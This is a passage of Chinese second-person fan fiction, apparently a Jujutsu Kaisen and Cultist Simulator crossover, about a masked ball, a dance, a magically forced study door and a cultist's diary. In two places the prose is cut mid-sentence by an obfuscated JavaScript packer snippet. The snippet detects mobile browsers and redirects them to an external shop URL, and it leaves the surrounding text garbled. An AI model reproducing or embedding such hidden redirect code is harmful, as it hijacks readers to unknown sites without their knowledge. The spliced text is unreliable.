正是最热闹的阶段,诺大的休息室还是只有你们四人躲闲。 “好喝吗?”硝子走过来问你。 “还行,我没有这方面品鉴力。他们说的酸度、新鲜、丰满这些词都……”在你看来狗屁不通,你将杯口抹了抹,口红印从红色的清晰的变成了红色的因指纹深一条浅一条的,贴到她脸前,随口邀请:“要试饮一口吗?”免得浪费第二杯。 她问:“如果我说不,你还会把剩下的喝掉吗?” 在你也对她摇头的时候,你知道了她的答案。 你随手把杯子搁置在某个展台上,同时跨步子离开安静的一角:“明智的选择,我还是更喜欢果汁味的。现在,我得去找点乐子,你们请便。”你的话使得五条也从沙发上站了起来,不过他没和你一起走。 你的乐子实际上就是游移在各个酒桌前吃上面的甜点,喝手边的果汁,多跑几个地方,看起来食量不至于惊人。等待转完一圈回来,又是新的一轮。 中途你还带了几款亲测不错的给还留在房间里的硝子。 你还问了他们:“你们都不出去吗?他们有很好的甜点。”一个打造了浮华盛景的小型乐园,你起初以为前辈们都会很享受它,至少在一个小时之前,硝子看起来比身处其中时更期待。 她现在有种说不出来的沮丧,你对着她精致的妆容发愣,严格来说,也不是无法形容……你认为,这种情形近似于在论坛上看到有人推荐某款甜品,过誉的夸赞令人过度期待,导致实际品尝后发现真实情况大失所望。 在硝子回应之前,五条先吐槽了你:“你还真是慢半拍,吃得也很多。” 然后是夏油,他一直没离开沙发,手里捧着一本书,想来是这段时间在书架上信手拿下:“我很少参加这种活动,总感觉不如在高专习惯。但这种场合穿着校服确实奇怪,所以……”他的意思是自己纯粹是为迎合委托要求cosplay。 即使在没有外人的场合,他说话方式同样客气,这点倒是和这个冠冕堂皇的地方气息相近。 “有点不敢出去,和我想的不太一样。”硝子说的最实诚,“不知道为什么,外面看起来那些人都认识,路过都能谈上几句。可是……他们真的会认得每一个人吗?面具封脸的感觉让我说还是不必了。” 他们在融入之前就都发现了这层不真实的覆盖在羽毛上的华美面纱,对于硝子的问题,你确信:“不认识,上层阶级的假客气硬要拉着作陪的客人一起演戏。” 五条悟对你的快乐产生质疑:“然后你在里面玩得很开心?” 你冲五条悟摆了摆手:“前辈,这只不过是单机。” 然而此话在一个始料未及的熟人出现后被打破。 你在这一轮单机自助餐小游戏准备回程的路上再次遇见了昨天传递电话失败的男生。 他的惊喜溢于言表。 你本想当做没看见多走两步再给几位植物人前辈送吃的,只不过最后停下了脚步,在休息室几步之遥回头,带着对他同样感兴趣的神情寒暄:“你好,没想到在这还能遇见你。” 他知晓了你的名讳,你也知道他的。 “我的父亲是首席法官,你是?” “我的父亲是无名之辈。”不过这不重要,你随即告诉他自己是混入进来的,希望他帮你保守秘密:“我趴在车底下然后在停车场翻窗户进来的,你别说出去。” “星夏,你说话真有趣。我可以叫你星夏吗?” “你随意。” 他像是被揭下了假面,脸部动作羞赧而鲜活:“我无意冒犯,方才介绍我的父亲只是习惯性的开场词,其实我并不喜欢这里。” “那挺糟糕,因为我很喜欢。”你吃掉了五条的一块糕点--它原本可以属于他,它的气味令你记起他身上的糖果香,而今桂花的香气和奶制品的馥郁充盈你的鼻尖和口腔。 法官的儿子对着你傻傻地笑了起来:“我可以邀请你跳舞吗?” “你今天和昨天不一样,你看起来比学校里雀跃很多。” 随口想的话就是漏洞百出,能在学校里开心的学生十里挑一。 你没注意他回答了什么,用一口刚健的牙齿快快吃下了许多盘中点心,最后一块在你两腮鼓起的时候你捏起递给了他,你们之间相碰的时候他还激动地抖了一下,在他文雅地咬了一小口并闭口咀嚼的时候你就吃完了剩下的全部,并且开口说话:“挺好的,真高兴你变乐观了。现在,你会跳舞吗?” 你把托盘一整个放置在香槟桌旁,对他发出共舞的邀约。 你的语言散漫且简练,但他自然会填补剩下的东西由它发酵,你们挽着对方的手踏入铺装整齐的华贵拼花大理石地板。 舞步蹁跹,在代表时钟的原型规整花纹上,现在是10点方位。你脚下的颜色是鱼肚白。他是不精通的舞者,你是潜入宅邸的小偷。你在他耳畔低语:“我为一样东西而来。”在他欲追问时高跟鞋跟嗒嗒作响,你的身体拉开,右脚已然落在了舞步的下个地方。 抬手转身,难以抗拒的节奏落于8点,你眼前的颜色是黑色发丝在光开道的缝隙中露出耳垂薄红。他是露珠一样易散的少年,你是只一掌就能收伏白兔的恶狼。你正向他讨教弓箭的心得:“我认为即使对传统的弓手来说,也依旧存在类似【伺机而动】的说法,你怎么看?”凡事都如此,总会有兔起鹘落的那瞬间。 旋转开合,你舒展左臂的样子高雅如天鹅,有力如鹰隼,你在表盘之外,而他正位于靶心,他脚下的颜色是黑耀。舞蹈时间未了,但你已经在一个又一个由细高鞋跟奏出的鼓点中得到答案。你想,是时候结束了。 于是-- 在你认为时机已到,水到渠成,一阵摆荡回旋后,你握着他的腰,仰倒在他臂弯中,主动结束了这场舞蹈。他的脸上是仓促未料的信号。 和他跳舞很开心,你这样说完后拂开他还停留在你腰背裸露皮肤的臂膀,不拖泥带水,左右手淑女一样拎起根本没到脚踝的裙摆就转身大步离开,匆忙得像灰姑娘。 你还能听见他低喃:“请给我打电话。” 哦,当然,会的,你会的。 回去后,你遭到了盘问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664987|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你们很熟吗?你还记得回来!”他控诉着你被勾走的几分钟,这时间一点不像他说的那样长。你自行排除了舞蹈中的一段,拖进度条直接到结束。 你塞给他一块本来打算留着自己吃的团子,试图平息:“来都来了,而且现在没什么事情。不过……” 五条悟仰头的时候你能看见他鼻孔,他这副样子摆明不打算接话。好在你也不一定需要他搭茬:“我打算在这里探险,顺便继续推进一下本次无咒灵行动的调查,有人想加入吗?管家在大厅,举办者只在开场念几句祝词就没再出现,老年人早睡也很正常,所以我们一定会安然无恙。” 你手上另一块糕点分给了硝子,她大方接过:“你还想着呢,不过咒术师的工作点到为止,确定和咒灵诅咒师无关就结束。我不感兴趣,你让五条陪你。” “我才不去,要去你自己去!不会跳舞怎么你了。”孩子气的谴责无疑,不过你实际上也确实不希望他跟着,所以没立刻哄他。 你说:“那好,你们好好休息。五条前辈,如果你想的话,等我回来我可以教你……他其实不太擅长,你应该协调许多。” “谁稀罕。”虽然是这样说话,不过他的气焰削弱许多,眼睛也开始看你,只是立场坚定:“但我是不会陪你出去的!” “夏油前辈呢?”你问坐在沙发上仍然在看书的身影,他手上的书页已经翻阅过半。 他又是最后一个被问到的,你推测他也不愿意出门,只是额外问候一声。谁料他昂起头,原本抬升至后脑的碎头发又遮蔽了脖颈,夏油将头转向你,他说:“好。” 出人意表的事情发生了第一件就难免有第二件,你的手无意碰到了先前摆在这里的香槟,只不过它摆放的角度有了几分偏移。你看向五条,他的眼睛里有门的倒影和你:“你是不是动我的酒了?” “没有!” 最快的试验方法不过与上手检验,你往前走两步,他就在你面前,直挺挺站着,你触摸不到他:“幸好,看来只是碰了一下。前辈,你小时候一定是高需求宝宝,很难照顾。” 他回答的特别大声:“谁说的!你根本就没有照顾过我。” “嗯……也是。”不过那本来也不是你该做的事情,你从五条的表情中看到一闪而过的委屈和恒常的执拗,这时候顺着他说话比较好,前车之鉴就在半月前:“我以后会多考虑前辈们的感受,以及,我做这些是有理由的。总之……” 你的余光看见已经站定在几步外的夏油杰,今天,你心想,还真是发生了好多事啊。你接上自己的话,五条悟不清醒而想要好好看清人的表情在你这又加深了印象:“我先走了,前辈。” “我是不会和你一起去的。” 嗯嗯嗯,这话他已经说过一遍了:“硝子前辈,五条前辈就拜托你了。” 你给夏油杰使了一个颜色,然后掉头不逗留。 你不知道的是,在你先离开而夏油随后的又一段时间往后,五条悟开始向空气发问:“什么理由?他居然叫你星夏!我都没有叫过你名字。” “嗨,嗨,【星夏】已经走了哦~看来你们之间有秘密,原来你也喜欢她。”回答的只有硝子,“我以为只有夏油对她比较特殊。” “谁喜欢她了?杰是不会跟我抢的。” 前后两句话难道不是互相矛盾的关系吗? “……能做出偷喝别人酒杯的酒然后开始说胡话的幼稚鬼啊。”硝子手抬得高高的,拍拍过高同期的肩,然后抽走了夹在外套口袋里的墨镜自己带上。体验全黑视角:“如果我是你我就会去找他们,就算三个人做不了什么也要破坏约会氛围。” 没人回答她,等她哼着小曲摘下墨镜时,眼前已空无一人。 30.第 30 章 你在大厅墙角边走,不引人瞩目地鬼鬼祟祟。今夜,你的第二位男伴紧随你后。 经过一个楼梯口,拐过第二道弯,你停步,已经到了可以闲聊的安全地带。 “前辈,我没想到你会愿意来。对了,你在看什么书?” 他对你意味不明地浅笑,这笑容即便在他脸上,也像初冬的雪花一样不牢靠,随刻可消融。“《理想国》。”他说。 苦修不是你的长项,在这段路结束之前你都没继续这个话题,勉强回答远不如沉默不搭腔。 不巧的是,你走错了路,这不是你要找的地方。 “我在书架上找到的。铃木,一路上那么多还没调查的房间,你在找什么?是有目的的吗?” “是按图索骥。你跟着我就好。”你直接承认,这点你无意隐藏。 “去哪里?”你步子不大,他多跨两步就能跟上,今天,他靠你靠的太近了。 “当然是去小主人的房间里。”你有些兴奋,在只有你们两人的时候终于放心表露,你在期待今天即将有的发现:“去厕所的路上偶遇了早上反应奇怪的男仆。他是个好人,热心肠,告诉我了一些事情。我们在厕所聊了一会。” 一次被目睹的以剪刀蜕皮,屡屡被宣之于口的秘典仪式,还有夜半呼号和睡眠不佳……从发现问题到水落石出,你不狂热,但压制许久的欲望在此时也很难不蠢蠢欲动,你吞咽的声音像饥饿的捕猎者。 “等等,”夏油杰原本晦暗的脸色替换成哭笑不得:“男仆,厕所,你们在哪?” “呃,那里当时没别人,不过我不否认他确实做出了一些牺牲。前辈,你是知道我的,我不硬闯男厕。”这个地方房间如此之多,而他们仅凭借室内设计判断居室,虽说装门牌号就像旅店了,但你是个偶尔来的游客,你希望他们能真的装上帮助识别的标志。 “……好吧,那么那个弓道社长是怎么回事。我昨晚和你谈过-- ”他说到这边以后戛然而止,但他看你的眼神中求索昭然若揭。 “你很在意他吗?我很久没跳舞了,可惜你们都不会。正好遇见他,顺便就,就是这样。” 夏油很快否认:“我没有。只不过他是普通人,你是咒术师。” 三番两次的提起一个你连名字都没记的人,你也变得有些上心了:“五条前辈也很在意他的样子,不过他是因为……这个先不提,你是为什么呢?” “说到这。你和悟,你们,”在一阵更长的停顿后,他变得冷静:“你们似乎关系好了不少?” “差不多吧,”又是一扇错误的门,他问你就答:“五条前辈下午也带我看了湖,水在落雪的山旁很亮,他身上暖暖的。” “……” “?”突然安静的气氛让你觉得怪异,周围冰结的空气很快被暖意替代,夏油杰靠你靠的更近了。 “铃木,你很喜欢悟吗?” “……前辈,你的问题也太直白了。” “可以回答我吗?” “可以,我没有【很】喜欢任何人,这就是答案。”你不知道夏油杰是从什么时候对你产生的这方面兴趣,不过排除第一次的亲昵,你和他之间肉眼可见的清清白白。 你貌似还会哄他睡觉之类的,这个就算做……算作同伴之间的互助好了,也许有几个暧昧的瞬间,但它们从不久存。 你眼神清明:“要不我们还是聊聊理想国吧,柏拉图在他们那个年代算聪明的。当然,仔细想来现在也是,大家的平均智商都不是很高呢。” 他也就接上了你的话题:“你认为理想国是可以被实现的吗?” 他所问的问题啊……答案语调轻微而坚决,只是一声干脆的:“不。” 你始终坚持自己所身在的醒时世界是唯物的,司辰也只不过是沾满欲望又掌握权柄的另一种【人】,虽然祂们有的自光中诞生,有的先于人类千百万年前就在石头中孕育,不过若是把人的概念拓宽,这些都迎刃而解。 据你所知,拥有摇天撼地权能的【人】也仍然没摆脱争端与战争。 即便是充斥物质的世界,人精神的火光与倒影也仍然能左右选择,扬升欲望,致使……不太文明的终局。这并非你信奉的圭臬,但实为目中所见。 他等不来你的回答了,今晚的夏油大概也因为什么动摇,他竟然再问了你一句:“为什么呢?”他的声音微不可查,与之相应的是他肉眼可见的似乎有什么想法如墙垣倾塌。 你喜欢凑到他耳朵边说话,这样你也能很小声,也能让他清楚听到:“【光明产卵于我眼中,一如苍蝇啐唾液于伤口,其结果不言而喻……】”你以为,他正是被洞穴之外的光明诅咒了。困扰一个微薄之力无法解决的难题,可称不上智慧。 你接着说了些你们都能听懂的话:“还记得那天我们玩的大富翁吗?” 他先是说记得,后来又提醒你:“那天我没参加。” “这不重要。”你和他讲了一个幕后花絮一样的小故事:“在这款游戏被设置之初,其实还有一种大家都能获胜的玩法。” “玩家每绕一圈,资金自然增加,如果同心协力,共同同意采用不收取租金的共荣模式,最终他们就会以一局富有道义的游戏表达共赢。看你的表情你应该没听说过,很巧,我也是,它被时间冷落,被玩家一起抛弃了。”你终于找到了正确的房间,这里空调几乎没有,走廊的灯也全熄。 只有月色,只有透光的玻璃窗户,播撒和折射微末的光热。 你不觉得冷,因为夏油杰依旧靠你很近,你现在仿佛侧过脸就能碰到他。他静静听你说话。 “费尽心思打造一款可以选择和平的游戏,却令玩家感受不到一点胜利的快意。期待角逐胜者的玩家在趋势上表现出万众一心,但他们追求的是唯一。你可以说这是游戏不是生活,不过……对胜利者来说,富可敌国的资产,他人的生命,不义的勾当,都可以作为游戏。” 一个身陷囹圄的人,他最需要的未必是帮助,或许是更在他之下的某人,此事经常成立。 一个开明的国度,需要的可不仅是贤人一样的君主,还有……你想,夏油杰在今天仍然为普通人而烦恼,希望他早日放下这一无法毕业的论题。 “夏油前辈,你会为我保守秘密的吧?”这时你才侧过脸,嘴唇轻略过他的脸,你这会耷拉肩膀,他也低低弯下腰。 他愣神片刻,然后还是一副仿佛害怕被月亮窃听的音量对你说:“当然,你想说什么都可以。” 都可以?那你就不客气了。当然,你不是想说话。 你的眼前是上锁的房门,你从来就没拥有过它的钥匙。 你是务实的人,这点与铸的性相相合,你期待铸炉能在今晚再次助你一臂之力,令你披荆斩棘。 铸炉的残酷从不在于失败的代价,你在行动之前神秘兮兮地对夏油杰竖起两根并拢的手指,像是要念一段法诀:“你还记得我以前和你说的,关于女巫的事情吗?我其实不太擅长魔法……” 双指轻点唇瓣,这样的天气里,你心中的忐忑不比紧接着就会消融的冰雪更少,你想知道,凭借自己能否点燃铸炉之火。 指尖跃动的一簇金红的火苗回应了你的期待。 它有着篝火的颜色,从辉光中诞生的,也如辉光美好。 “嗯……看来我的运气不错。”你不想搅扰这团应召而来的原初之火,可还是有些骄傲,所以你小声和夏油诉说:“现在,火焰已经齐备,我将开始祝祷。” 光照亮他瞠目结舌的脸庞,但你只在帅气滑稽的面孔上停留片刻。你分神去想,在你第一次得到杯的回应时,那时的欢愉或许也不比当下少,只不过……此一时彼一时,如今,你无法抗拒这抹金芒。 你跪在地毯上,面朝黝黑锁孔,开始拜请铸炉之力,以火再造的神明,祈求她打开折扇上锁的门。 【门扉开启如生命终结那样不可避免,今天,此门抵达了那个时间。】 你指尖的火光大胜。比你的手臂还茁壮。 “!砰!”一声闷响。 你获得了一扇因为冲击力而洞开的门扉,这……老实说有点不太低调,你原以为会是“咔哒”的那种,仅发生齿轮间的小小转动。 现在么……你挥手灭了火,回头朝前辈讪笑,解释道:“毕竟是学徒。”而今迈步从头越,你保持良好的初学者心态。 “不多说了,我们快进去,恐怕一生也只能来一次这个地方了。” 他在骤然增多的问题中挑选了温和的一个,这也是夏油杰会做的事情:“这是什么地方?我没见着床。” 不是卧室,显然, “这是书房,或者说……”你打开灯就见到地上潦草的法阵,糅杂了多种文化风格,草率得像是小说家从网上搜索拼接的,你继续说:“研究室。至于她在研究什么,我们过会就会知道。” “魔法?所以你是为了这个而来的吗,铃木。” 夏油杰反手关上了门,无济于事,但聊胜于无,你刚在门上炸了个能容纳一拳的小洞。若有人此时从楼梯那边望走廊,定然能在房间门口的地毯上看见一轮昏黄的【太阳】。那是房间里泄露出的光。 “我挺喜欢你这样的,前辈。” “……” 你是指他一声不吭就帮你把故事编好的聪明脑袋和热心肠。你跟着他的思路继续故事接龙:“不过确实,我的一部分目的是【魔法】,至于剩下的--” 你看向夏油杰。 “怎么了,铃木?” “前辈,你似乎对他人的善意和恶意都很敏感。所以你不会因为这种场合花团锦簇的虚情假意产生真正意义上的快乐。”盛大的面纱之下,只是一根被装饰过度的羽毛,其本质是空无。你从书架上抽出一本红色封皮的书,站在边上随意翻看。 夏油杰先是看你手上的书本,不用想也知道他读不懂上面的文字,在那之后他才意识到你说了什么,回话都满了半拍:“……因为这是没有意义的曲意逢迎。” 你翻看两页后就放到一边,再抽出一本黑色封皮的册子,封面什么也没有,你打开页扣。 “喀拉”一声就是你对夏油杰的全部回答。 因为心思在别的事情上就完全不理会他人是你的一个习惯,也许你会在某天克服它,不过现在……你聚精会神于一本好运翻到的手记。关于青少年的心理咨询问题还得向后稍。 里头的活页有的页脚泛黄,在光下折射出凹凸不平的表面,你在厚厚的页首瞧见了血迹,还有凌乱的钢笔字迹。 是夏油杰也能看懂的日语。 内容足以使人产生噩兆的预感。 这一页,其上面写着:沐光明者xxxx 在后面纯粹是乱写乱画。 夏油杰知道眼下的事情比戛然而止的谈心谈话更紧要,他向你做出推测:“我认为是邪、教,或者更隐蔽,尚未成型的秘密协会。” 你在拖曳的笔锋末端流连,未翻页。 “铃木,你对这上面的东西熟悉吗?” 从还没入门水准的法阵还有没落到疗养院的可悲事实向你揭露了她不过是个凡人,然而神秘的传闻和确凿无疑的字据,你明白她和某个长生者或有牵扯。 一位已获长生的灯信奉者在凡间找到了她或者他的使徒,小继承人是她或者他在醒时世界的助手。看来同僚们更上一层的心思总是按捺不住,这不是坏事,但……对继承人而言恐怕也不是好事。 “嗯嗯。”你随口回答着,向后翻。 里头记载了年方29岁的近藤女士的梦,起源于秋天,【我不记得发生了什么。我不记得我是谁。梦教给了我必须要做的事。】手记中用娟秀的字迹无巨细地记载光怪陆离的梦,读之令人生寒。 仅仅是目光接触,仿佛就有鬼怪感召而来顺光钻入人的眼睛,如苍蝇产卵。 你还好,匆匆略过,一页,两页,三页,她的笔触越来越奔放,文字也越来越疯狂,夏油杰和你一同见证了一个狂信徒的成长。 【我需要解开这个谜团,我的导师升得更高,我也能握紧她的手,共抵--光】 辉光,毫无疑问。 她被蒙蔽了双眼,不知在前方等待自己的乃是死亡。 翻到某一页时,一张蹂躏多次又被展开铺平的纸张未被活页夹封上而只夹在书页之间,在你翻开后它就缓缓落下与地面。夏油杰捡起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13667814|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它,反过来看到时他低声发出一声叹息。 你往那投射目光。 【何物会失去 何物会失去 何物会失去 何物会失去 何物会失去 何物会失去何物会失去何物会失去---会失去何物会失去何物会失去何!!】 最后用红色的颜料写上二字,出于对同伴健康的考量,你不打算点名颜料是什么。不过光看内容也够毛骨悚然。 【祭品】 不管她是怎么想的,现在你可以确定这件事是个彻头彻尾的漫宿传销引领现世小纠纷的活生生案例了。 你在夏油杰面前把这张纸捏成一团丢在地上。 你对他说:“她疯了,所以家里人甚至仆人都不喜欢她。” 你想起男仆和你说过的话。【“她的门后挂着一截布料,柔软如女人的皮肤。”】现在门后只有一面破碎的小镜子,不过想也知道,这地方如果经人收拾,猛烈抨击公序良俗的东西还是封存起来或者毁掉为好。 你又告诉夏油杰你知道的信息:“你知道吗?那模特死的时候,右腿膝盖以下的肌肉全部裸露,还有……她是被尖刀贯穿心脏而亡。” 虽然不太清楚灯的道路上长生者能以何种方式晋升,但你料想应当不是这种。 剥皮? 虽然守夜人无怜悯之心,但他不整这些花里胡哨的。飞蛾、轰雷之皮或者赤杯比较像。毫无疑问这是迷途者的一次错误尝试,不过你判断剥皮和刺穿心脏不出自她一人手。 在你看到最后都没看出所以然的时候,你决定把手记丢到一边。 你毫无征兆地和夏油接起了之前的话题:“刚才说到哪了,对了,民众的胡搅蛮缠和自然流露的表演式热情令你感到恶心,是吗?所以你瞧不起他们。” 夏油杰因为你激进的语义和瞬移的思维苦恼扶额,声音上扬而依旧柔和:“现在是说这些的时候吗?” “我没有头绪,和她信的神不熟。”制式化和标准化是广泛普及品的专属,你们漫宿刁民还是太小众了,干什么的都有。统共几千正式居民的地方,竟然有数十种通用语言,撇开这点不谈,论种族也是有十几种起步的。 “而且你说的太严重了,我没有……”夏油杰顶着你戏谑的目光。 “嗯?请继续讲。” “别这样看我啊。”他小声表达了自己的不满,然后改了口:“非咒术师偶尔的愚昧会让我困扰,但我认为你说的没错,铃木。我们应当保护他们免受恐惧,否则更糟。” 你非常震惊:“我什么时候说这些了?”难以置信,你的言行竟然能被解读成这样。 他给了相应解答:“呃,前几天在村庄里,你说人类对未知的恐惧最可怕。” “我猜,我没那个意思。”你谨慎地否认:“不过有一点我知道……” “好了,铃木,闲聊就到此为止。”他打断了你,也许是出于恐惧,恐惧你接下来要说的话,也许是出于任性,也许二者皆有:“你知道了些什么?是欧洲流传的某种传说或者怪谈吗?还是部族法术,巫毒那些?还是她谋杀了女友。” “需要进一步调查,也就是说……”你到这里就停下了。 站在拥挤的研究台和书架之间,那里容纳一人绰绰有余,只不过现在站了你们两。你的手揽上他的腰,整张脸贴在他的胸膛上,然后你抬高下巴,和正低下头又握住你胳膊的人对视:“前辈,我突然想到一件事情。” 你说:“托你的福,你提醒了我。原本想提醒你巫毒起源于非洲,和女巫那边似乎不是一个体系,然而就在偶然之间,灵光乍现。我好像听说过那种……召唤物。” 你曾经说出口的谎言在你不知不觉中饱胀唯一听信之人的信任茁壮成长。它从一句似是而非的妄语到今天有模有样,全都是你的责任。 现在是1.1版本,无良运营商更新了黑魔法模块。 他的手正摩挲你手背的肌肤,眼神则目不转睛盯着你看,幽邃得仿佛能装下整片夜空,你与他的嘴唇只需你稍一垫脚就能碰上。 真有趣,你在舞蹈中没收获很多快乐,然而在一段时间后的现在:身处一个狭窄的、再容不下别人,因此自然也无法伸展四肢的空间里,你感受到了若即若离的游戏感,它恰好也能来源于双人舞探戈。 但不知为何,你还是不愿意……更近一步。 你用环抱他腰上的一只手一路向上,捂住他的嘴。 现在,你们双唇之间的空隙被填上了。你贴在手背,他贴在手心。 你没亲吻他。 虽然夏油看起来一直是一副等待施吻的样子--他的眼神,他的嘴唇,还有他散发出的,等待垂怜的信号。 研究,当然是要继续做的,只不过你还记得刚才他有意打断你的话。 你想起门后的碎镜,这是房间里的唯一一面镜子;想起模特的死法--利刃尖刀;想起召唤时偶有差错产生的吞噬者性相…… 这个新人运气很好,误打误撞半生不熟地召唤出了镜中少女。 但她同样也不幸,过程多半出了偏差,召唤物不总是温驯,而凡人难以抵御其反噬的恶果。 “偶然会有一些意外产生,因为这是邪恶但无法抗拒的过程。不过话又说回来,前辈。”你能感受到夏油杰的唇瓣嚅动,似乎舌尖要破齿关而出,他看向你,静候下文。 你想说的,最终都会说出来。 “我宁愿你愚蠢许多。”这就是你刚才想说却被遮掩的话。 他有澎湃汹涌的信念感,也有百折不回的意志力,不过一个过于崇高的理想加上一点点现实作点缀,就足以让聪慧敏感的他隐约察觉世间并无他所欲行的道路。如果他足够愚笨就不会思考这些,也不会为自己的先见而哀伤。 你对夏油杰狡黠一笑,如果月光够亮,他就能看见你的牙齿在月下反射皎白的光。你语气轻巧:“我们来模拟一场狼人杀,我是主持人,你做女巫。” 你庄严肃穆:“我们的小继承人今晚命不久矣,你要救她吗?” 答案不言而喻。 今夜,12月24日,它被称作平安夜。 31.第 31 章 不管夏油最后回答了是或否,在半个小时后,你们四个人都出现在了一辆低调的小轿车上。 事情还要从那扇被你洞开的门说起。 在事情行进到愉快的狼人杀环节时-- 熟悉然而音量大许多的一声砰。命途多舛的它被一双皮鞋的主人踹开了。 …… 你不方便转头看来者是谁,但你能见到夏油抬起的一双眼中惊愕。 然后是声音熟悉的质问:“你们在干什么!!”你能从急匆匆的语调中听出言者的怒意,或许还有一种“果然给我发现了吧”的自满。 这下你明白了,是你的祖宗五条悟。 “我的大少爷,这里是私人领地。你能声音小点吗?” …… 随后这扇双重洞开的门扉见证了一些咄咄逼人的质问。焦黑色的洞口原本有一把锁,现在,它容纳了擅辩之人--即你--的巧言令色,还有气焰渐消但是仍紧追不舍--即五条悟--的强势逐猎。 “你是偷腥猫。” “杰,你也是。” “你们两个太坏了!” “嘘嘘嘘,你喝口这个漱漱嘴。”你顺手越过夏油杰的腰,以一个拥抱的姿势拿取了书架上的某物,然后朝五条悟进献了生命源泉含量极高的某液体。 你态度恭谦。 夏油杰拉住你的手:“铃木,这不是酒吗?” 你大声密谋:“对,我想他早睡早起。对了,你背得动五条前辈吧?” “……” 他的一双大眼睛一眨不眨瞪着你,熄灭又闪烁好似群星:“我不喝!杰说得对,你太坏了!” 你指出:“夏油没这么说。” 令人庆幸的是,没人因为五条的鲁莽而找上门。 “我不管,你们刚才在做什么?” 你揉了揉眉心:“调查,我们正准备去疗养院。新丧偶的近藤似乎有性命之忧。”夏油没明确说明,但你知道他会为本该做而疏忽的致人死亡后果而难过,至少现在仍如此。 就算他不这样,他的良心也会强行督促他这么做。而你呢,顺手帮他一个忙,再去那边看看情况,便宜行事,方便大家。 五条悟看你的眼神充满智慧的探究,他说出口的话也一样符合你期待:“我怀疑--你们不会是在约会吧!” “……没有的事情,悟,你不能再碰酒精了。” 深知柔性劝导是没有用的,你站在五条的另一旁,开始实施自己的策略--无论从理性还是感性,你认为他在场都不是好事,不过既然他已经来了,于是乎…… 你试图搀他的手,失败了,术式在他周身固若金汤。于是你声音轻柔,哄劝比你高不少的五条:“当然没有,你低头,听我和你说……靠近点,再靠近点。五条前辈。” 五条悟有点信任你,你也知道,正利用了这一点,你的手上还残留有来自夏油杰的更高温度,你用它覆盖上五条悟碧海蓝天一样澄明的眼睛。先是剥夺视觉,再是辅以触觉,最后是技巧性地挑逗其听觉。 …… 五条悟倒在你肩上,双手一左一右下垂你身后,像栽倒的树苗。 “解决了。和我刚才设想的一样,总之,殊途同归。”你对夏油这么说。 然后,你见到了他眸中升起的犹疑与警惕:“铃木,你……” “要帮我保守秘密哦,前辈~”五条悟个子很高,因此也有些分量,你把他抬给给夏油杰:“就算我们喊破喉咙他也不会醒的。” 问题不在这里,可他难以启齿,接过酣眠的挚友,他无意识被你带着走:“你说的我领教过。但是,怎么会变成这样呢?” “好问题,现在,注意力回到疗养院。那里距离这里有15公里。”你拿出手机。 “我们该怎么过去?” 他是聪明的人,所以见到你含笑的面孔,就知道这也不在你的烦恼中。 “你瞧,事情开始明朗起来。我们不希望牵扯到辅助监督小姐,然而如果是一个完完全全的局外人,就简单许多。”你拨出号码,三下之内它就被接通:“喂,你还记得我吗?事实上这还是我第一次跟着陌生男性递的纸条拨打电话,也算种全新的体验。真有趣。是这样的……你方便在停车场等我吗?就在你们家的那辆保时捷旁,我会找到你的。” 你回头,对一脸不可置信的夏油杰露出无辜的笑:“偶尔,我是说偶尔,有点冒险精神也不错。他会开车,也有驾照,今天还有车,多么巧?” --凡事都如此,总会有兔起鹘落的那瞬间。 不用问也知道,五条悟不会开车,夏油杰也不会,硝子也不会。最后,你也不会。而你情愿不搅扰岩守,她正“意外地处于悲痛中”,正好也是个理由。 “铃木,你难道早就打算好了?如果我没有一起,你会一个人去疗养院。” 你把此次搜查的战利品夹在腋下,腾出手对他做出噤声的动作。 夏油杰知道舞会和晚宴都是一般的社交场合,因此也无意靠近甚至融入;然而,在那之外,你能从他愕然又意味深长的面容中,看出他无意间揭下了你的一层面纱。每一层不平整的违和感就如同褶皱覆在面上,那是日常相处时的违和感,而今终于自然落下,露出你的真实面庞。 他呆愣的表情对你来说非常具有新鲜感。 你还联系了硝子,虽然带上多一个清醒人不是好的选择,但你认为把她一个人留在岩守周围更不能考虑。 你们在屋外寒冷的墙角碰头。 “五条怎么了?” 你掸了掸肩膀上的雪:“他跟我们汇合以后没多久就睡着了。” 她又问:“你手上拿着什么?” 你展示给她:“小小姐的电脑,我要在车上看它。”电脑可以储存视频和照片,研究室内又没有电视和光盘,因此你认为线索应在电脑内,只是现在已经夜间九点,来不及当场检索,你只好寄期望于它的移动电源能坚持一阵子。 她已经从继承人到小继承人,再到小小姐,足以证明你对她的态度趋近于不屑。 “岩守小姐……” “她会在这里得到很好的招待的,会客室会有她需要的一切。” “所以,为什么要带上我?” 你冲她笑:“这是冒险,前辈,你是伙伴。” 真实虚假皆为幻象,夏油杰看你的眼神愈发复杂。不过他可能没意识到的是,比起面纱,更适用于你的形容是蜕皮。木讷顿感的表面是你,内里敏锐机动也还是你,其中可能还添加了一些直觉性行动和独断决策……没有一面是面具,你已经过了要靠伪装的外在度日的年龄。 现在,你的一举一动都自然,也行礼如仪。 没别的原因,你主宰了自己的生活,仅此而已。 —— 然而,那个认识你不过两天的高中生拒绝了你,他心高气傲不做司机。就算你努力地对他解释了事情的经过,有关其实你也不是来偷东西的,而是一伙被聘用至此的临时工。 解决一些……众人皆有而富人能支付代价的疑难杂症。 